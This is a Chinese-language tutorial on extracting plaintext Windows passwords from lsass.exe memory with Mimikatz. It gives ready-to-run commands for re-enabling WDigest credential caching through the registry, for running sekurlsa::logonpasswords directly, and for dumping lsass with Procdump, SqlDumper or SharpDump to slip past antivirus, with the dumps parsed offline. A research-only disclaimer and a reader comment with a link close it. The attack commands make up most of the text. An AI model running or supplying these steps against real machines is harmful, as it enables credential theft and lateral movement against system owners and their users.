0x00 前言
- Mimikatz是一款由法国人 写的轻量级调试工具,用于系统密码破解获取;
- 它能从系统进程lsass.exe的缓存中获取windows处于active状态账号明文密码 ;
- 现已被添加到Metasploit豪华套餐当中,并作为一个可加载的Meterpreter模块;当成功的获取到一个远程shell时,使用mimikatz工具可以很快的获取系统登录密码;
- 本工具仅适用于Windows系统。
- 本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
0x01:获取Mimikatz & Procdump
作为一款开源的调试工具,Mimikatz在GitHub上有属于他的项目地址,大家可以在GitHub上直接下载到他的release版本。
工具 | Mimikatz |
---|---|
GitHub | 点我跳转 |
Release | 点我跳转 |
备用地址 | 点我跳转 |
0x02:使用姿势
0. 开启Windows缓存
在默认情况下,当靶机系统版本为Windows7或Windows Server 2008 R2以上时;
系统默认在内存缓存中禁止保存明文密码,在工具抓取时密码字段会显示为null;
此时可以通过修改注册表的方式开启缓存,但这需要用户重新登录后才能成功抓取到密码。
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
姿势①:直接使用Mimikatz获取密码
- 应用场景:管理员安全意识极低,服务器上基本没有进行加固
- 适用系统:Windows Server 2008 以下版本(更高版本由于默认关闭了缓存,请参考第0步)
- 所需权限:管理员权以上(administrators)
没有什么特殊的操作,直接下载Mimikatz到目标靶机,一条指令一套带走 。
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
PS:如果有需要可以将内容导出到txt文件
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt
姿势②:Procdump + Mimikatz
- 应用场景:管理员安全意识中等偏低,服务器上有杀毒软件
- 适用系统:Windows Server 2008 以下版本(更高版本由于默认关闭了缓存,请参考第0步)
- 所需权限:管理员权以上(administrators)
Procdump来头就大了,是一款Windows平台下的命令行工具,可以在指定的条件下生成dump文件;
用于高CPU占用率的性能分析优化、程序停止响应的调试、First chance异常捕获等;
在这里我们主要用它来监视内存,导出lsass.exe的缓存。
工具 | Procdump |
---|---|
Release | 点我跳转 |
备用地址 | 点我跳转 |
先使用Procdump将lsass.exe的缓存导出;
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
然后将lsass.dmp下载到本地使用Mimikatz加载缓存,获取明文密码
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit"
姿势③:SqlDumper + Mimikatz
- 应用场景:管理员安全意识中等偏低,服务器装有SQL Server,服务器上有杀毒软件
- 适用系统:Windows Server 2008 以下版本(更高版本由于默认关闭了缓存,请参考第0步)
- 所需权限:管理员权以上(administrators)
自 SQL Server 2000 Service Pack 3 (SP3) 起,Microsoft SQL Server 2000 中开始附带 Sqldumper.exe;
Sqldumper.exe 可根据任一 Microsoft Windows 应用程序的需要生成转储文件;
Sqldumper.exe不仅可以转储SQL Server,还可以转储其他的windows application;
其功能和prodump相似,而且具备一定免杀能力。
一般情况下SqlDumper.exe默认存放在SqlServer的安装目录下
C:\Program Files\Microsoft SQL Server\number\shared
PS:number为SQL Server的版本号,比如文中使用的是SQL Server 2008 R2,则Sqldumper.exe在以下目录当中
C:\Program Files\Microsoft SQL Server\100\Shared
查询lsass.exe的pid
tasklist /svc |findstr lsass.exe
使用SqlDumper.exe将lsass.exe缓存导出
SqlDumper.exe 460
指令执行完成后会生成一个名为SQLDmpr0001.mdmp的文件;
将文件下载到本地,使用Mimikatz加载缓存,获取明文密码
mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" "exit"
姿势④:SharpDump + Mimikatz
- 应用场景:管理员安全意识中等偏低,服务器上有杀毒软件
- 适用系统:Windows Server 2008 以下版本(更高版本由于默认关闭了缓存,请参考第0步)
- 所需权限:管理员权以上(administrators)
SharpDump是发布在GitHub一个dump工具,使用VS编译后只有10kb左右
工具 | SharpDump |
---|---|
GitHub | 点我跳转 |
将SharpDump.exe上传至目标靶机,并运行
从截图中可以知道SharpDump在C:WindowsTemp中生产了一个名为debug460.bin文件
将其下载到本地,并解压出来
使用Mimikatz加载解压出来的文件,获取明文密码
mimikatz.exe "sekurlsa::minidump debug460" "sekurlsa::logonPasswords full" "exit"
兄弟写的非常好 https://www.cscnn.com/